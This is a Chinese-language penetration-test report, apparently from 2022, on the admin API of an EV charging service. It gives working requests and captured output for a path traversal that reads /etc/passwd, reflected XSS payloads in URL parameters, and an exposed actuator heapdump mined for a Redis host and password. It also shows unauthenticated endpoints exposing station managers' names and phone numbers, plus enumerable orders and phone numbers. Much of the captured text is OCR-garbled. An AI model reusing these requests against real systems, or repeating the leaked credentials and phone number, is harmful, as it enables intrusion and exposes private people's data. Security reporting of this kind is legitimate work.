heapdump泄露
资产关联性:
[image: ]
[image: ]
[image: ]
[image: ]

地址:
http://119.23.19.84:9001//actuator/heapdump[image: 1653054593(1)]
将次文件下载，使用heapdump_tool.jar对其内容进行查找
[image: ]
找到redis数据库的连接密码和host信息

任意文件下载
[image: ]
漏洞地址：
https://admin.charge.gapsd.com/api/account/shop/download/?Access-token=1&Client-digest=1&filePath=1

过程及证明截图:
[image: ]
XSS跨站脚本攻击
①xss
漏洞地址:
https://admin.charge.gapsd.com/api/park/project/parkInfo/byCarNo/?Access-token=1&Client-digest=1&carNo=1&phone=1&startDt=<script>alert(/xss/)</script>
[image: ]
②xss
https://admin.charge.gapsd.com/api/emergency/unlock/devices/?Access-token=1&Client-digest=1&stationId=<script>alert(/xss/)</script>
[image: ]
③xss
https://admin.charge.gapsd.com/api/cloud/server/get/invoice/money/by/id/?Access-token=1&Client-digest=1&userId=<script>alert(/xss/)</script>&month=1
[image: ]

敏感信息泄露
Swagger接口泄露
swagger接口地址泄露，攻击者可进一步利用漏洞
[image: ]

充电站列表
漏洞地址:
http://admin.charge.gapsd.com/api/opt/manage/get/station/list/?Access-token=1&Client-digest=1
近百个充电站信息(stationId,站名,站点类型，支付方式，状态，地址，以及管理者的姓名、手机号等)
[image: ]
订单信息
orderId值可以遍历，可以查看订单信息，长度未知，但可进行遍历
[image: ]

月用电量统计
地址:
https://admin.charge.gapsd.comapi/opt/manage/station/stats/energy/?Access-token=1&Client-digest=1
[image: ]

集控器列表
漏洞地址:
http://admin.charge.gapsd.com/api/opt/manage/get/device/ctrl/list/?Access-token=1&Client-digest=1
(379个设备信息)
[image: ]

[bookmark: _GoBack]手机号遍历
http://admin.charge.gapsd.com/api/abc/coupon/verification

[image: ]
[image: ]
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filePath=../../../../..//etc/passwd HITP/1.1

Host: admin. charge. gapsd. com
Connection: close

Cache-Control: max-age=0
sec—ch-ua: ” Not A;Brand”;v="99",
Chrome”;v="101"

sec—ch-ua-mobile: 20
sec—ch-ua-platform: “Windows”
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Sec-Fetch-Site: none
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Sec-Fetch-Dest: document

Accept-Language: zh-CN, zh;q=0.9

Accept-Encoding: gzip, deflate
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Search... 0 matches
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Pretty

1 HITP/1.1 200

2 Server: nginx/l.13.12

3 Date: Fri, 20 May 2022 12:57:26 GMT

4 Content-Type: application/octet-stream
5

6

7

Hex Render \n =

Content-Length: 956

Connection: close

ETag: "1653051446828"
8 Pragma: no-cache
9 Expires: 0
10 Content-Disposition: attachment; filename=passwd
11 Cache-Control: no-cache, no-store, must-revalidate
12 Accept-Ranges: bytes

13
14 root root:/root:/bin/bash
15 bin: in:/bin:/sbin/nologin

16 daemon:x:2:2:daemon:/sbin:/sbin/nologin
dm:/var/adn:/sbin/nologin
1p:/var/spool/lpd:/sbin/nologin
sync:/sbin:/bin/sync

6:0: shutdown:/sbin:/sbin/shutdown
:0:halt:/sbin:/sbin/halt

22 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
23 operator:x:11:0:operator:/root:/sbin/nologin
100: games: /usr/games:/sbin/nologin
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Request Response
Pretty [RENM Hex \n = Raw Hex Render \n =
1 GET /api/opt/manage/get/station/list/?Access-token=1&Client-digest=1 HITP/1.1 “investorId”:null,
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2 Sec-Fetch-Mode: navigate : “districtCode” : 520425000,
'3 Sec-Fetch-User: ?1 “updateDt”:”2021-07-15 14:30:01",
4 Sec-Fetch-Dest: document ”insertDt”:”2020-04-26 15:57:10",
5 Accept-Language: zh-CN, zh;q=0. 9 “stationScore”:5,
6 Accept-Encoding: gzip, deflate ”stationManagers”:”f {\"nane\”:\"i/7#\", \"phone\”:\"18984134562\"}, {\"name\" :\" b5k |
7 “stationShelfState” " 47,
8 “parkType”: " G b F %",
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1
{
“stationld”:155,
”shopld”:2,
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GET /api/emergency/unlock/order/?Access-token=1&Client-digest=1&orderId 1 HITP/1.1 200

=202204253 HTTP/1.1 2 Server: nginx/1.13.12

Host: admin. charge. gapsd. com 3 Date: Fri, 20 May 2022 13:11:36 GMT
Connection: close 4 Content-Type: application/json;charset=UTF-8
Cache-Control: max-age=0 5 Connection: close
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Chrome”;v="101" 7

sec—ch-ua-mobile: 20 8 {

sec—ch-ua-platform: “Windows” “code”:1
Upgrade-Insecure-Requests: 1 “message” : 1] HURAELE”,
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) H “data” :null

AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/101.0.4951.67 :

Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, inage/avif, inage/
webp, inage/apng, */%;q=0. 8, application/signed-exchange;v=b3;a=0. 9
Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Language: zh-CN, zh;q=0. 9

Accept-Encoding: gzip, deflate
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GET /api/opt/manage/get/device/ctrl/list/?Access-token=1&Client-digest=
1 HITP/1. 1

Host: admin. charge. gapsd. com

Connection: close

Cache-Control : max-age=0

sec—ch-ua: ” Not A;Brand”;v="99", “Chromium”;
Chrome” ;v="101"

sec—ch-ua-mobile: 20

sec—ch-ua-platform: “Windows”
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/101.0.4951.67
Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xnl;q=0. 9, inage/avif, inage/
webp, inage/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 9
Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Language: zh—CN, zh;q=0. 9

Accept-Encoding: gzip, deflate
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{

“code”:0,

Server: nginx/1.13.12

Date: Fri, 20 May 2022 13:14:01 GMT
Content-Type:
Connection: close
Content-Length: 68075

application/json;charset=UTF-8

“message”:” )",

“data”: [
{
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POST /api/abc/coupon/verification HITP/1.1 1 HITP/1.1 200
Host: adnin. charge. gapsd. com 2 Server: nginx/L.13.12
Connection: close 3 Date: Fri, 20 May 2022 13:35:15 GMT
Cache-Control: max-age=0 4 Content-Type: application/json;charset=UTF-§
sec-ch-ua: ” Not A;Brand”;v="99", ”Chromiun”;v="101", ”Google Chrome”;v="101" 5 Connection: close
sec—ch-ua-mobile: 20 6 Content-Length: 59
sec—ch-ua-platforn: “Windows” 7
Upgrade-Insecure-Requests: 1 s {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like “code”:1,
Gecko) Chrome/101.0.4951. 67 Safari/537. 36 “message” : "LBIHE BAMFE",
Accept: “data” :null
text/htnl, application/xhtml+xnl, application/xml;q=0. 9, inage/avif, inage/webp, inage/apng, */ }

#;q=0. 8, application/signed-exchange;v=b3;q=0. 9
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Language: zh-CN, zh;q=0.9
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 38

phone=18984134562&couponSecret=12345
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Target: https://admin.charge.ga

Request

Pretty [RENM Hex \n =
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© o
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11
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17
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20
21

POST /api/abc/coupon/verification HTTP/1.1
Host: admin. charge. gapsd. com

Connection: close

Cache-Control: max-age=0

sec—ch-ua: ” Not A;Brand”;v="99", “Chromium
sec—ch-ua-mobile: 20

sec—ch-ua-platform: “Windows”
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/101.0.4951. 67 Safari/537.36
Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, inage/avif, inage/webp, inage/apng, */

;a=0. 8, application/signed-exchange;v=b3;q=0. 9
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Language: zh-CN, zh;q=0.9
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 39

phone=18984134562" &couponSecret=12345

="101", “Google Chrome”

Response

1
3
4
5
6
7

»

Raw Hex Render \n

HTTP/1.1 200

Server: nginx/1.13.12

Date: Fri, 20 May 2022 13:35:55 GMT
Content-Type: application/json;charset=UTF-8
Connection: close

Content-Length: 90

{

}

“code”:1,
“message” " il S BAAF L, WA 78 HUE Y HLFIK 57,
“data” :null
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{"hret”:"http://119. 23. 19. 84:9001//actuator/nacos-discovery”, “templated”:falsel , “sentinel”: {"hret”: “http://119. 23. 19. 84:9001//actuator/sentinel”, “templated”:falsel, "refresh”:
{"hret”:"http://119. 23. 19. 84:9001//actuator/refresh”, “templated”:falsel, “features”: {"hret”:"http://119. 23. 19. 84:9001//actuator/features”, “templated”: false}, “service-registry”:
{"hret”:"http://119. 23. 19. 84:9001//actuator/service-registry”, “templated”:false}}}
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D:\Program Files\Java\jdkl.8.0_181\bin>java —jar heapdump_tool. jar heapdump
[-] file: heapdump
] Start jhat, waiting...
] fing object count: 95217
] too many object,please input 0/1 to choose mode.
(search data, may can’t find some data, can’t use function num=, len=).
(load all object, need wait a few minutes).

i
i
i
0.
1.
> 1

[-] start process object, waiting...

[-] please input keyword value to search, example: password, len=16, nun=0-10, id=0x123a, all=true, geturl, getfile, getip inp
t a/quit to quit.

>[spring. redis

[1] Start find keyword: spring.redis

>} spring. redis. lettuce. pool. min-idle => 0

>

>

>

>

>

>

>

>

[

t

spring. redis. password —> £balb9d0352074

spring. redis. database —> 10

spring. redis. lettuce. pool. max—wait —> ~lms

spring. redis. lettuce. pool. max-active —> 8

spring. redis. port — 6379

spring. redis. lettuce. pool. max-idle —> 500

spring. redis—org. springframework. boot. autoconfigure. data. redis. RedisProperties —> null

spring. redis. host —> 172. 18. 227. 142

1 please input keyword value to search, example: password, len=16, num=0-10, id=0x123a, all=true, geturl, getfile, getip inp

a/quit to quit.





